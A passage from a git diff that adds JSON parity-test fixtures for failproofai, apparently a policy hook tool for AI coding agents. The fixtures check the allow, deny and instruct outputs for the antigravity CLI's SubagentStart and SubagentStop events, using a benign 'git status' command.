"sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..35d93c8c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7010b182 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3b4460f2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5e8eab22 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b0b1e257 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..e8de52d9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..bb7c5503 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..9ca9d4a1 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..aabc9083 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3f16b90e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f6eb2a96 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7cbca778 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..48733251 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..da78f5d9 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ffcbaf7d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..40af726f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..56fa5f5a --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6edcc8d4 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..604636ab --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/SubagentStop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + 